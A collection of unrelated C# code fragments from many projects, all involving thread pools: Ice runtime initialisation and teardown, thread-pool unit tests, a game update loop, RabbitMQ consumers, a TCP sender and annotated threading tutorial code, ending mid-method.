public WebHookEngine(RoomieEngine roomieController, string computerName, string communicationUrl, string accessKey, string encryptionKey) { this.roomieController = roomieController; this.computerName = computerName; this.communicationUrl = communicationUrl; this.accessKey = accessKey; this.encryptionKey = encryptionKey; //TODO: reintroduce multiple webhook engines? string threadPoolName = "Web Hook (to " + communicationUrl + ")"; //int engineCount = Common.GetWebHookEngines(this.roomieController).Count; //if (engineCount > 0) // threadPoolName += "(" + engineCount + ")"; this.threadPool = roomieController.CreateThreadPool(threadPoolName); this.running = false; communicator = new WebCommunicator.CommunicatorClient(communicationUrl, accessKey, encryptionKey); bool serverFound = false; while (!serverFound) { try { print("pinging Webhook server at " + communicationUrl + "..."); Message pingResponse = communicator.PingServer(); //TODO: should we look at the result? print("Webhook server found!"); serverFound = true; } catch (CommunicationException exception) { print("Error contacting server: " + exception.Message); System.Threading.Thread.Sleep(new TimeSpan(0, 0, 10)); } } ////initialize connection //Dictionary<string, string> sendValues = new Dictionary<string, string>(1); //sendValues.Add("action", "start session"); //sendValues.Add("ComputerName", computerName); //SecureHttpCommunication.RecievedPackage package = SendMessage(sendValues, null); //if (package.HasErrorMessage) // throw new ScriptException("Error starting webhook session"); //foreach (SecureHttpCommunication.Message message in package) //{ // if (message.ContainsParameter("NewSessionToken")) // sessionToken = message.GetValue("NewSessionToken"); // break; //} //if (String.IsNullOrEmpty(sessionToken)) // throw new ScriptException("Did not recieve a new SessionID"); //print("Webhook Session Token: " + sessionToken); events = new Queue<OutputEvent>(); //TODO: make this work! //this.roomieController.ScriptMessageSent += new Scope scopeScriptMessageEventHandler(roomieController_ScriptMessageSent); }
public ThreadPoolCurrent(ThreadPool threadPool, EventHandler handler, int op) { _threadPool = threadPool; _handler = handler; operation = op; completedSynchronously = false; }
public HomeAutomationNetworkContext(RoomieEngine engine, ThreadPool threadPool, IDeviceHistory deviceHistory, INetworkHistory networkHistory) { _engine = engine; ThreadPool = threadPool; //TODO: ninject? History = new MasterHistory(deviceHistory, networkHistory); Triggers = new TriggerCollection(); }
public static ThreadPool getInstance() { if (m_pool == null) { m_pool = new ThreadPool(); } return m_pool; }
static CometAsyncHandler() { _threadPool = new ThreadPool(2, 50, "Comet Pool"); _threadPool.PropogateCallContext = true; _threadPool.PropogateThreadPrincipal = true; _threadPool.PropogateHttpContext = true; _threadPool.Start(); }
/// <summary> /// Creates a new WorkerThread object. /// </summary> /// <param name="owner">The factory that created this object.</param> /// <param name="E">The current environment.</param> public WorkerThread(ThreadPool owner, ILuaEnvironment E) { status_ = Status.Waiting; owner_ = owner; E_ = E; backing_ = new Thread(Execute); backing_.IsBackground = true; backing_.Start(); }
public void Queued_One_Item() { Message message = new Message("Jacob"); ThreadPool pool = new ThreadPool(ThreadPoolConfiguration.OneAndTwo, new SingleQueueStrategy()); pool.Start(); pool.Queue(new MessageConsumer(), message); pool.Stop(); Assert.IsTrue(message.WasConsumed); }
/// <summary> /// Creates new instance of the <see cref="ITinyThreadPool" />. /// </summary> /// <param name="config">The configuration.</param> /// <returns>New instance of the <see cref="ITinyThreadPool" />.</returns> public static ITinyThreadPool Create(Action<IThreadPoolConfig> config) { var threadPoolConfig = new ThreadPoolConfig(); config(threadPoolConfig); var threadPool = new ThreadPool(threadPoolConfig); threadPool.Start(); return threadPool; }
public HttpServer(string prefix, int port, IRequestHandler[] handlers) { this.handlers = handlers ?? new IRequestHandler[0]; listener = new HttpListener(prefix, port); listener.Start(); var pool = new ThreadPool(defaultPoolSize, ProcessRequest); }
internal Worker(ThreadPool pool, int number) { this.pool = pool; this.wakeUp = new object(); this.semaphore = new object(); this.tasks = new Collection.Queue<ITask>(); this.thread = new System.Threading.Thread(new System.Threading.ThreadStart(() => { try { while (!this.End) { ITask task = null; do { if (task.NotNull()) Error.Log.Call(() => { try { this.Occupied = true; task.Run(); } catch (System.Threading.ThreadInterruptedException) { } catch (System.Threading.ThreadAbortException) { System.Threading.Thread.ResetAbort(); } finally { task = null; this.Occupied = false; } }, (System.Exception e) => Error.Log.Append(Error.Level.Recoverable, string.Format("Worker {0} in Thread Pool {1} Failed", this.Name, this.pool.Name), e)); lock (this.semaphore) task = this.tasks.Empty ? this.pool.Dequeue() : this.tasks.Dequeue(); } while (!this.End && task.NotNull()); if (!this.End) lock (this.wakeUp) System.Threading.Monitor.Wait(this.wakeUp); } } catch (System.Threading.ThreadAbortException) { System.Threading.Thread.ResetAbort(); } catch (System.Threading.ThreadInterruptedException) { } })) { IsBackground = true }; this.thread.Name = this.Name = pool.Name + ":" + number; this.Number = number; this.thread.Start(); }
protected AbstractConsumer(IConsumerBuffer buffer) { Guard.ArgumentNotNull(buffer, buffer.GetType().FullName); Buffer = buffer; _cts = new CancellationTokenSource(); _threadPool = new ThreadPool(); _isTaskStart = new ThreadSafe.Boolean(false); ConfigUtil.Instance.NotifyPropertyChange += OnNotifyPropertyChange; #if DEBUG this.debugLog = ObjectFactory.Current.Get<IDebugLogWriter>(Lifetime.ContainerControlled); #endif }
public void Queued_Twenty_Items_With_Affinity_Strategy() { List<Message> messages = MessageBuilder.TwentyMessages(); ThreadPool pool = new ThreadPool(ThreadPoolConfiguration.FiveAndTen, new QueueAffinityStrategy<Message, string>()); pool.Start(); foreach (Message message in messages) { pool.Queue(new MessageConsumer(), message); } pool.Stop(); foreach (Message message in messages) { Assert.IsTrue(message.WasConsumed); } }
public void Queued_Twenty_Items() { List<Message> messages = MessageBuilder.TwentyMessages(); ThreadPool pool = new ThreadPool(ThreadPoolConfiguration.FiveAndTen); pool.Start(); foreach (Message message in messages) { pool.Queue(new MessageConsumer(), message); } pool.Stop(); foreach (Message message in messages) { Assert.IsTrue(message.WasConsumed); } }
public TranscodeJob(ThreadPool pool, string jobToken, string callbackUrl) { this.taskSet = new TaskSet(pool,this, WaitStrategy.MODERATE); this.jobToken = jobToken; this.flaggedComplete = false; this.download = null; this.failed = false; this.cleaned = false; this.startTime = DateTime.Now; this.callbackUrl = callbackUrl; this.markedTasks = 0; this.tag = null; this.passes = new ConcurrentDictionary<string, Multipass>(); this.workingDirectory = FFRest.config["workingdir"] + Path.DirectorySeparatorChar + this.jobToken; if (this.workingDirectory[this.workingDirectory.Length-1] != Path.DirectorySeparatorChar) { this.workingDirectory += Path.DirectorySeparatorChar; } }
public static bool InitInstance(int queueSize, int threadNum) { if (s_instance != null) { Debug.LogWarning("TreadPool instance is already created."); return false; } s_instance = new ThreadPool(queueSize, threadNum); return true; }
internal WorkerThread(ThreadPool threadPool, string name) : base() { _threadPool = threadPool; _name = name; }
public static Task Run(Action action, ThreadPool tp= null) { Task t = new Task(action); t.RunAsync((tp == null) ? defaultThreadPool : tp); return t; }
/// <summary> /// Allows the game to run logic such as updating the world, /// checking for collisions, gathering input, and playing audio. /// </summary> /// <param name="gameTime">Provides a snapshot of timing values.</param> protected override void Update(GameTime gameTime) { Time.Update(gameTime); InputManager.Update(); frames++; if (InputManager.IsKeyDown(Keys.Escape)) { Exit(); } if (InputManager.IsKeyPressed(Keys.Up)) { AddGameObject(); } if (InputManager.IsKeyPressed(Keys.Down) && gameObjects.Count > 0) { gameObjects.RemoveAt(gameObjects.Count - 1); } if (InputManager.IsKeyDown(Keys.Right)) { foreach (GameObject gameObject in gameObjects) { gameObject.Rigidbody.AnimationSpeed += 0.01f; } animationSpeed += 0.01f; } if (InputManager.IsKeyDown(Keys.Left)) { foreach (GameObject gameObject in gameObjects) { gameObject.Rigidbody.AnimationSpeed -= 0.01f; } animationSpeed -= 0.01f; } if (InputManager.IsKeyPressed(Keys.LeftShift)) { showText = !showText; } if (InputManager.IsKeyPressed(Keys.T)) // press T to toggle multi-threading { haveThreadRunning = !haveThreadRunning; } ThreadPool.QueueUserWorkItem(new WaitCallback(CollisionReset)); if (time >= 1.0f) { time = 0; if (!haveThreadRunning) { lastCollisions = numCollisions; numCollisions = 0; } } else { time += Time.ElapsedGameTime; } foreach (GameObject gameObject in gameObjects) { gameObject.Update(); } Vector3 normal; for (int i = 0; i < gameObjects.Count; i++) { if (boxCollider.Collides(gameObjects[i].Collider, out normal)) { numCollisions++; if (Vector3.Dot(normal, gameObjects[i].Rigidbody.Velocity) < 0) { gameObjects[i].Rigidbody.Impulse += Vector3.Dot(normal, gameObjects[i].Rigidbody.Velocity) * -2 * normal; } } for (int j = i + 1; j < gameObjects.Count; j++) { if (gameObjects[i].Collider.Collides(gameObjects[j].Collider, out normal)) { numCollisions++; if (Vector3.Dot(normal, gameObjects[i].Rigidbody.Velocity) > 0 && Vector3.Dot(normal, gameObjects[j].Rigidbody.Velocity) < 0) { return; } Vector3 velocityNormal = Vector3.Dot(normal, gameObjects[i].Rigidbody.Velocity - gameObjects[j].Rigidbody.Velocity) * -2 * normal * gameObjects[i].Rigidbody.Mass * gameObjects[j].Rigidbody.Mass; gameObjects[i].Rigidbody.Impulse += velocityNormal / 2; gameObjects[j].Rigidbody.Impulse += -velocityNormal / 2; } } } base.Update(gameTime); }
/// <summary> /// 初始化线程池 /// </summary> /// <param name="size">线程池大小,最好设置为CPU个数的25倍</param> public static void Init(int size) { pools = new ThreadPool(size); pools.Start(); }
// // Only for use by Ice.CommunicatorI // public void destroy() { lock(this) { // // If destroy is in progress, wait for it to be done. This // is necessary in case destroy() is called concurrently // by multiple threads. // while(_state == StateDestroyInProgress) { Monitor.Wait(this); } if(_state == StateDestroyed) { return; } _state = StateDestroyInProgress; } // // Shutdown and destroy all the incoming and outgoing Ice // connections and wait for the connections to be finished. // if(_objectAdapterFactory != null) { _objectAdapterFactory.shutdown(); } if(_outgoingConnectionFactory != null) { _outgoingConnectionFactory.destroy(); } if(_objectAdapterFactory != null) { _objectAdapterFactory.destroy(); } if(_outgoingConnectionFactory != null) { _outgoingConnectionFactory.waitUntilFinished(); } if(_retryQueue != null) { _retryQueue.destroy(); // Must be called before destroying thread pools. } if(_initData.observer != null) { _initData.observer.setObserverUpdater(null); } LoggerAdminLogger logger = _initData.logger as LoggerAdminLogger; if(logger != null) { logger.destroy(); } // // Now, destroy the thread pools. This must be done *only* after // all the connections are finished (the connections destruction // can require invoking callbacks with the thread pools). // if(_serverThreadPool != null) { _serverThreadPool.destroy(); } if(_clientThreadPool != null) { _clientThreadPool.destroy(); } if(_asyncIOThread != null) { _asyncIOThread.destroy(); } if(_endpointHostResolver != null) { _endpointHostResolver.destroy(); } // // Wait for all the threads to be finished. // if(_timer != null) { _timer.destroy(); } if(_clientThreadPool != null) { _clientThreadPool.joinWithAllThreads(); } if(_serverThreadPool != null) { _serverThreadPool.joinWithAllThreads(); } if(_asyncIOThread != null) { _asyncIOThread.joinWithThread(); } if(_endpointHostResolver != null) { _endpointHostResolver.joinWithThread(); } foreach(Ice.ObjectFactory factory in _objectFactoryMap.Values) { // Disable Obsolete warning/error #pragma warning disable 612, 618 factory.destroy(); #pragma warning restore 612, 618 } _objectFactoryMap.Clear(); if(_routerManager != null) { _routerManager.destroy(); } if(_locatorManager != null) { _locatorManager.destroy(); } if(_endpointFactoryManager != null) { _endpointFactoryManager.destroy(); } if(_initData.properties.getPropertyAsInt("Ice.Warn.UnusedProperties") > 0) { List<string> unusedProperties = ((Ice.PropertiesI)_initData.properties).getUnusedProperties(); if (unusedProperties.Count != 0) { StringBuilder message = new StringBuilder("The following properties were set but never read:"); foreach (string s in unusedProperties) { message.Append("\n "); message.Append(s); } _initData.logger.warning(message.ToString()); } } // // Destroy last so that a Logger plugin can receive all log/traces before its destruction. // if(_pluginManager != null) { _pluginManager.destroy(); } lock(this) { _objectAdapterFactory = null; _outgoingConnectionFactory = null; _retryQueue = null; _serverThreadPool = null; _clientThreadPool = null; _asyncIOThread = null; _endpointHostResolver = null; _timer = null; _referenceFactory = null; _requestHandlerFactory = null; _proxyFactory = null; _routerManager = null; _locatorManager = null; _endpointFactoryManager = null; _pluginManager = null; _adminAdapter = null; _adminFacets.Clear(); _state = StateDestroyed; Monitor.PulseAll(this); } }
static TransportTestsBase() { ThreadPool.SetMaxThreads(32767, 32767); ThreadPool.SetMinThreads(2048, 2048); }
public EngineStartup(RoomieEngine engine) { _engine = engine; _threadpool = engine.CreateThreadPool("Startup Threads"); }
public void startService() { ThreadPool.QueueUserWorkItem(new WaitCallback(HeartbeatThread)); ThreadPool.QueueUserWorkItem(new WaitCallback(SubscribeThread)); }
public void Subscription(string formula) { macro.formulas.AddLast(formula); ThreadPool.QueueUserWorkItem(new WaitCallback(AddSubThread), formula); }
public void UnsafeOnCompleted(Action continuation) { ThreadPool.UnsafeQueueUserWorkItem(switchToCallback, continuation); }
public static string ReadDataXlsx() { datas = new Dictionary <string, DataStruct>(); List <string> results = new List <string>(); int totalCount = 0; foreach (var book in CustomWorkbook.allBooks) { if (book.type != CustomWorkbookType.Export) { continue; } for (int i = 0; i < book.workbook.NumberOfSheets; i++) { ISheet sheet = book.workbook.GetSheetAt(i); if (sheet.SheetName.StartsWith("(F)") || sheet.SheetName.StartsWith("_")) { continue; } ThreadPool.QueueUserWorkItem(o => { string error; try { error = DealWithDataSheet(sheet, book); } catch (Exception ex) { error = sheet.SheetName + ":" + ex.ToString(); } lock (results) results.Add(error); }); totalCount++; } } while (results.Count < totalCount) { Thread.Sleep(TimeSpan.FromSeconds(0.01)); } foreach (string error in results) { if (!string.IsNullOrEmpty(error)) { return(error); } } // 应用标签修改 Console.WriteLine("[多语言] 应用标签开始>>>>>>>>>>>>>>>>>>>>"); var enumerator = datas.GetEnumerator(); while (enumerator.MoveNext()) { string err = enumerator.Current.Value.ApplyModify(); if (!string.IsNullOrEmpty(err)) { return(err); } enumerator.Current.Value.ApplyFuncPrase(); } Console.WriteLine("[多语言] 应用标签结束!"); Console.WriteLine("开始计算数据CRC32"); var crc32 = new CRC32(); foreach (var data in datas.Values) { data.files.Sort(); data.dataContent.Sort((a, b) => (int)a[0] - (int)b[0]); var sb = new StringBuilder(); foreach (var dc in data.dataContent) { foreach (var c in dc) { sb.Append(c); } } data.crc32 = crc32.StringCRC(sb.ToString()).ToString(); } return(string.Empty); }
public AsyncOperationBlockActivityAsyncResult(AsyncWorkState asyncWorkState, AsyncCallback callback, object state) : base(callback, state) { ThreadPool.QueueUserWorkItem(new WaitCallback(CompleteAsyncBlock), asyncWorkState); }
static void Main(string[] args) { var connectionFactory = new ConnectionFactory(); IConnection connection = connectionFactory.CreateConnection(); IModel channel = connection.CreateModel(); channel.ExchangeDeclare("direct-exchange-example", ExchangeType.Direct); channel.QueueDeclare("logs", false, false, false, null); channel.QueueBind("logs", "direct-exchange-example", ""); ThreadPool.QueueUserWorkItem(x => { while (true) { string value = Guid.NewGuid().ToString(); byte[] message = Encoding.UTF8.GetBytes(value); Console.WriteLine("Writing " + value); // lock (lockobject) { channel.BasicPublish("direct-exchange-example", "", null, message); } Thread.Sleep(500); } }); // ThreadPool.QueueUserWorkItem(x => // { // var connectionFactory = new ConnectionFactory(); // IConnection connection = connectionFactory.CreateConnection(); // IModel channel = connection.CreateModel(); // while (true) // { // QueueDeclareOk queue = null; // lock (lockobject) // { // queue = channel.QueueDeclarePassive("logs"); // } // Console.WriteLine("Count: " + queue.MessageCount); // Thread.Sleep(2000); // } // }); #if true ThreadPool.QueueUserWorkItem(x => { // var connectionFactory = new ConnectionFactory(); // IConnection connection = connectionFactory.CreateConnection(); // IModel channel = connection.CreateModel(); // channel.ExchangeDeclare("direct-exchange-example", ExchangeType.Direct); // channel.QueueDeclare("logs", false, false, false, null); // channel.QueueBind("logs", "direct-exchange-example", ""); // var consumer = new QueueingBasicConsumer(channel); // BasicGetResult result = channel.BasicGet("logs", true); // BasicConsume("logs", true, consumer); // Console.WriteLine(result.MessageCount); while (true) { QueueDeclareOk queue = channel.QueueDeclarePassive("logs"); if (queue.MessageCount > 0) { BasicGetResult result = null; while ((result = channel.BasicGet("logs", true)).MessageCount != 0) { Console.WriteLine("MessageCount: " + result.MessageCount + " Body: " + Encoding.UTF8.GetString(result.Body)); } } Thread.Sleep(5000); } }); #endif Thread.CurrentThread.Join(); }
public void Start() => ThreadPool.UnsafeQueueUserWorkItem(_ => Worker(), null);
static void Main(string[] args) { #region Threading var threading = new Threading(); // Потоки для асинхронных вычислительных операций Console.WriteLine("Main thread: starting a dedicated thread " + "to do an asynchronous operation"); Thread dedicatedThread = new Thread(ComputeBoundOp); dedicatedThread.Start(5); Console.WriteLine("Main thread: Doing other work here..."); Thread.Sleep(10000); // Имитация другой работы (10 секунд) dedicatedThread.Join(); // Ожидание завершения потока Console.WriteLine("Hit <Enter> to end this program..."); /* * Результат компиляции и запуска такого кода: * Main thread: starting a dedicated thread to do an asynchronous operation * Main thread: Doing other work here... * In ComputeBoundOp: state=5 * * Так как мы не можем контролировать очередность исполнения потоков * в Windows, возможен и другой результат: * Main thread: starting a dedicated thread to do an asynchronous operation * In ComputeBoundOp: state=5 * Main thread: Doing other work here... */ // Фоновые и активные потоки // Создание нового потока (по умолчанию активного) Thread t = new Thread(Worker); // Превращение потока в фоновый t.IsBackground = true; t.Start(); // Старт потока // В случае активного потока приложение будет работать около 10 секунд // В случае фонового потока приложение немедленно прекратит работу Console.WriteLine("Returning from Main"); // Простые вычислительные операции Console.WriteLine("Main thread: queuing an asynchronous operation"); ThreadPool.QueueUserWorkItem(ComputeBoundOp, 5); Console.WriteLine("Main thread: Doing other work here..."); Thread.Sleep(10000); // Имитация другой работы (10 секунд) Console.WriteLine("Hit <Enter> to end this program..."); /* * Результат компиляции и запуска этого кода: * Main thread: queuing an asynchronous operation * Main thread: Doing other work here... * In ComputeBoundOp: state=5 * * Впрочем, возможен и такой результат: * Main thread: queuing an asynchronous operation * In ComputeBoundOp: state=5 * Main thread: Doing other work here... * * Разный порядок следования строк в данном случае объясняется асинхронным * выполнением методов. Планировщик Windows решает, какой поток должен выполняться первым, или же планирует их для одновременного выполнения на * многопроцессорном компьютере */ // Контексты исполнения // Помещаем данные в контекст логического вызова потока метода Main CallContext.LogicalSetData("Name", "Jeffrey"); // Заставляем поток из пула работать // Поток из пула имеет доступ к данным контекста логического вызова ThreadPool.QueueUserWorkItem(state => Console.WriteLine("Name={0}", CallContext.LogicalGetData("Name"))); // Запрещаем копирование контекста исполнения потока метода Main ExecutionContext.SuppressFlow(); // Заставляем поток из пула выполнить работу. // Поток из пула НЕ имеет доступа к данным контекста логического вызова ThreadPool.QueueUserWorkItem(state => Console.WriteLine("Name={0}", CallContext.LogicalGetData("Name"))); // Восстанавливаем копирование контекста исполнения потока метода Main // на случай будущей работы с другими потоками из пула ExecutionContext.RestoreFlow(); // Скоординированная отмена threading.CoordinatedCancel(); // Задания ThreadPool.QueueUserWorkItem(ComputeBoundOp, 5); // Вызов QueueUserWorkItem new Task(ComputeBoundOp, 5).Start(); // Аналог предыдущей строки Task.Run(() => ComputeBoundOp(5)); // Еще один аналог // Завершение задания и получение результата threading.EndTask(); // Отмена задания threading.CancelTask(); // Автоматический запуск задания по завершении предыдущего threading.RunTaskAfterEndPrevious(); threading.RunTaskAfterEndPrevious2(); // Дочерние задания threading.ChildTasks(); // Планировщики заданий - сделать приложение WPF/Winforms // Parallel LINQ // Периодические вычислительные операции // События threading.Events(); // Блокировка с двойной проверкой String name = null; // Так как имя равно null, запускается делегат и инициализирует поле имени LazyInitializer.EnsureInitialized(ref name, () => "Jeffrey"); Console.WriteLine(name); // Выводится "Jeffrey" // Так как имя отлично от null, делегат не запускается и имя не меняется LazyInitializer.EnsureInitialized(ref name, () => "Richter"); Console.WriteLine(name); // Снова выводится "Jeffrey" #endregion Console.ReadLine(); }
internal WorkerThread(ThreadPool threadPool, string name) : base() { _threadPool = threadPool; _name = name; _state = Ice.Instrumentation.ThreadState.ThreadStateIdle; updateObserver(); }
/// <summary> /// 初始化线程池 /// </summary> public static void Init() { pools = new ThreadPool(); pools.Start(); }
void TsiDocGenClick(object sender, EventArgs e) { var drTable = getObject(PluginShareHelper.DBPluginKey, PluginShareHelper.DBPlugin_DBCurrentCheckTable) as DataRow[]; ThreadPool.QueueUserWorkItem(o => GenDBWord(drTable)); }
/// <summary> /// 初始化线程 /// </summary> /// <param name="size">线程池大小,最优设置为CPU个数的25倍</param> /// <param name="isFlowExecutionContext">是否设置执行线程上下文信息,默认为true</param> public static void Init(int size, bool isFlowExecutionContext) { pools = new ThreadPool(size, isFlowExecutionContext); pools.Start(); }
/// <summary> /// Constructor of the class. It builds the TransportProtocol sublayer, initializing its common /// attributes using the app settings in xml file. /// </summary> /// <param name="uri">The URI of the transport layer</param> /// <param name="trackRepository">The repository used to represent tracks over the network</param> public TransportProtocol(Uri uri, Persistence.Repository trackRepository) { AppSettingsReader asr = new AppSettingsReader(); int poolSize = (int)asr.GetValue("ThreadPoolSize", typeof(int)); this.threadPool = new ThreadPool(poolSize); this.nextArrived += new NextArrivedHandler(this.writeOnStream); this.chunkLength = ((int)asr.GetValue("ChunkLength", typeof(int))); this.myAddress = uri; this.trackRepository = trackRepository; log.Info("Initialized Transport Layer with " + poolSize + " worker threads"); }
public void finishSetup(ref string[] args, Ice.Communicator communicator) { // // Load plug-ins. // Debug.Assert(_serverThreadPool == null); Ice.PluginManagerI pluginManagerImpl = (Ice.PluginManagerI)_pluginManager; pluginManagerImpl.loadPlugins(ref args); // // Add WS and WSS endpoint factories if TCP/SSL factories are installed. // EndpointFactory tcpFactory = _endpointFactoryManager.get(Ice.TCPEndpointType.value); if(tcpFactory != null) { ProtocolInstance instance = new ProtocolInstance(this, Ice.WSEndpointType.value, "ws", false); _endpointFactoryManager.add(new WSEndpointFactory(instance, tcpFactory.clone(instance, null))); } EndpointFactory sslFactory = _endpointFactoryManager.get(Ice.SSLEndpointType.value); if(sslFactory != null) { ProtocolInstance instance = new ProtocolInstance(this, Ice.WSSEndpointType.value, "wss", true); _endpointFactoryManager.add(new WSEndpointFactory(instance, sslFactory.clone(instance, null))); } // // Create Admin facets, if enabled. // // Note that any logger-dependent admin facet must be created after we load all plugins, // since one of these plugins can be a Logger plugin that sets a new logger during loading // if(_initData.properties.getProperty("Ice.Admin.Enabled").Length == 0) { _adminEnabled = _initData.properties.getProperty("Ice.Admin.Endpoints").Length > 0; } else { _adminEnabled = _initData.properties.getPropertyAsInt("Ice.Admin.Enabled") > 0; } string[] facetFilter = _initData.properties.getPropertyAsList("Ice.Admin.Facets"); if(facetFilter.Length > 0) { foreach(string s in facetFilter) { _adminFacetFilter.Add(s); } } if(_adminEnabled) { // // Process facet // string processFacetName = "Process"; if(_adminFacetFilter.Count == 0 || _adminFacetFilter.Contains(processFacetName)) { _adminFacets.Add(processFacetName, new ProcessI(communicator)); } // // Logger facet // string loggerFacetName = "Logger"; if(_adminFacetFilter.Count == 0 || _adminFacetFilter.Contains(loggerFacetName)) { LoggerAdminLogger logger = new LoggerAdminLoggerI(_initData.properties, _initData.logger); setLogger(logger); _adminFacets.Add(loggerFacetName, logger.getFacet()); } // // Properties facet // string propertiesFacetName = "Properties"; PropertiesAdminI propsAdmin = null; if(_adminFacetFilter.Count == 0 || _adminFacetFilter.Contains(propertiesFacetName)) { propsAdmin= new PropertiesAdminI(this); _adminFacets.Add(propertiesFacetName, propsAdmin); } // // Metrics facet // string metricsFacetName = "Metrics"; if(_adminFacetFilter.Count == 0 || _adminFacetFilter.Contains(metricsFacetName)) { CommunicatorObserverI observer = new CommunicatorObserverI(_initData); _initData.observer = observer; _adminFacets.Add(metricsFacetName, observer.getFacet()); // // Make sure the admin plugin receives property updates. // if(propsAdmin != null) { propsAdmin.addUpdateCallback(observer.getFacet()); } } } // // Set observer updater // if(_initData.observer != null) { _initData.observer.setObserverUpdater(new ObserverUpdaterI(this)); } // // Create threads. // try { if(initializationData().properties.getProperty("Ice.ThreadPriority").Length > 0) { ThreadPriority priority = IceInternal.Util.stringToThreadPriority( initializationData().properties.getProperty("Ice.ThreadPriority")); _timer = new Timer(this, priority); } else { _timer = new Timer(this); } } catch(System.Exception ex) { string s = "cannot create thread for timer:\n" + ex; _initData.logger.error(s); throw; } try { _endpointHostResolver = new EndpointHostResolver(this); } catch(System.Exception ex) { string s = "cannot create thread for endpoint host resolver:\n" + ex; _initData.logger.error(s); throw; } _clientThreadPool = new ThreadPool(this, "Ice.ThreadPool.Client", 0); // // The default router/locator may have been set during the loading of plugins. // Therefore we make sure it is not already set before checking the property. // if(_referenceFactory.getDefaultRouter() == null) { Ice.RouterPrx r = Ice.RouterPrxHelper.uncheckedCast( _proxyFactory.propertyToProxy("Ice.Default.Router")); if(r != null) { _referenceFactory = _referenceFactory.setDefaultRouter(r); } } if(_referenceFactory.getDefaultLocator() == null) { Ice.LocatorPrx l = Ice.LocatorPrxHelper.uncheckedCast( _proxyFactory.propertyToProxy("Ice.Default.Locator")); if(l != null) { _referenceFactory = _referenceFactory.setDefaultLocator(l); } } // // Show process id if requested (but only once). // lock(this) { if(!_printProcessIdDone && _initData.properties.getPropertyAsInt("Ice.PrintProcessId") > 0) { using(Process p = Process.GetCurrentProcess()) { System.Console.WriteLine(p.Id); } _printProcessIdDone = true; } } // // Server thread pool initialization is lazy in serverThreadPool(). // // // An application can set Ice.InitPlugins=0 if it wants to postpone // initialization until after it has interacted directly with the // plug-ins. // if(_initData.properties.getPropertyAsIntWithDefault("Ice.InitPlugins", 1) > 0) { pluginManagerImpl.initializePlugins(); } // // This must be done last as this call creates the Ice.Admin object adapter // and eventually registers a process proxy with the Ice locator (allowing // remote clients to invoke on Ice.Admin facets as soon as it's registered). // if(_initData.properties.getPropertyAsIntWithDefault("Ice.Admin.DelayCreation", 0) <= 0) { getAdmin(); } }
public void Send(byte[] buffer, SockClientTcpSendCallback method) { try { if (!IsSocketConnected(sock)) { if (sock != null) { sock.Close(); } sock = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); sock.Connect(toep); sock.SendTimeout = 1000; // important } } catch (Exception ex) { log4net.LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType) .Error(String.Format("Connect to {0} failed.", toep.ToString()), ex); } if (method == null) { try { sock.Send(buffer); } catch (Exception) { } } else { ThreadPool.QueueUserWorkItem((s) => { if (disposing) { return; } string retval = ""; try { mutex.WaitOne(); byte[] tmp = new byte[1024]; if (sock.Poll(0, SelectMode.SelectRead)) { Thread.Sleep(200); sock.Receive(tmp); } sock.Send(buffer); if (sock.Poll(3000, SelectMode.SelectRead)) { Thread.Sleep(200); int nread = sock.Receive(tmp); if (nread > 0) { retval = Encoding.UTF8.GetString(tmp.Take(nread).ToArray()); } } } catch (Exception ex) { log4net.LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType) .Error("Exception in critical section.", ex); return; } finally { mutex.ReleaseMutex(); } try { string[] str = retval.Replace("\r\n", "\n") .Split("\n".ToCharArray(), StringSplitOptions.RemoveEmptyEntries); method.Method.Invoke(method.Target, new object[] { str.Last() }); } catch (Exception ex) { log4net.LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType) .Error("Exception of invoking anonymous method.", ex); } }); } }
protected Task RunAsync(ThreadPool threadPool) #endif { /* * The coroutine approach doesnt work: * Unity executes the coroutine in the update cycle (main thread) so, * if there is a Wait in the Task (most likely) the main thread will get frozen */ //Dispatcher.instance.LaunchCoroutine(RunCoroutine()); Exception = null; m_state = TState.Running; #if UNITY_WEBGL U3D.Threading.Dispatcher.instance.ToMainThread(() => #else m_runThread = threadPool.QueueAction(() => #endif { try { m_action(); m_state = TState.Successful; } catch (System.Threading.ThreadAbortException) { m_state = TState.Aborted; } catch (Exception e) { this.Exception = new AggregateException(e); m_state = TState.Faulted; } finally { #if !UNITY_WEBGL m_runThread = null; #endif } }); return this; }
public bool HandleException(Exception exc, string policyName) { ThreadPool.UnsafeQueueUserWorkItem(DoWarnException, new ExceptionArgs(policyName, exc)); return(true); }
internal void Start() { if (!countersAvailable) { logger.Warn(ErrorCode.PerfCounterNotRegistered, "CPU & Memory perf counters did not initialize correctly - try repairing Windows perf counter config on this machine with 'lodctr /r' command"); } if (cpuCounterPF != null) { cpuUsageTimer = new SafeTimer(CheckCpuUsage, null, CPU_CHECK_PERIOD, CPU_CHECK_PERIOD); } try { if (cpuCounterPF != null) { // Read initial value of CPU Usage counter CpuUsage = cpuCounterPF.NextValue(); } } catch (InvalidOperationException) { // Can sometimes get exception accessing CPU Usage counter for first time in some runtime environments CpuUsage = 0; } FloatValueStatistic.FindOrCreate(StatisticNames.RUNTIME_CPUUSAGE, () => CpuUsage); IntValueStatistic.FindOrCreate(StatisticNames.RUNTIME_GC_TOTALMEMORYKB, () => (long)((MemoryUsage + KB - 1.0) / KB)); // Round up #if LOG_MEMORY_PERF_COUNTERS // print GC stats in the silo log file. StringValueStatistic.FindOrCreate(StatisticNames.RUNTIME_GC_GENCOLLECTIONCOUNT, () => GCGenCollectionCount); StringValueStatistic.FindOrCreate(StatisticNames.RUNTIME_GC_GENSIZESKB, () => GCGenSizes); if (timeInGCPF != null) { FloatValueStatistic.FindOrCreate(StatisticNames.RUNTIME_GC_PERCENTOFTIMEINGC, () => timeInGCPF.NextValue()); } if (allocatedBytesPerSecPF != null) { FloatValueStatistic.FindOrCreate(StatisticNames.RUNTIME_GC_ALLOCATEDBYTESINKBPERSEC, () => allocatedBytesPerSecPF.NextValue() / KB); } if (promotedMemoryFromGen1PF != null) { FloatValueStatistic.FindOrCreate(StatisticNames.RUNTIME_GC_PROMOTEDMEMORYFROMGEN1KB, () => promotedMemoryFromGen1PF.NextValue() / KB); } if (largeObjectHeapSizePF != null) { FloatValueStatistic.FindOrCreate(StatisticNames.RUNTIME_GC_LARGEOBJECTHEAPSIZEKB, () => largeObjectHeapSizePF.NextValue() / KB); } if (promotedFinalizationMemoryFromGen0PF != null) { 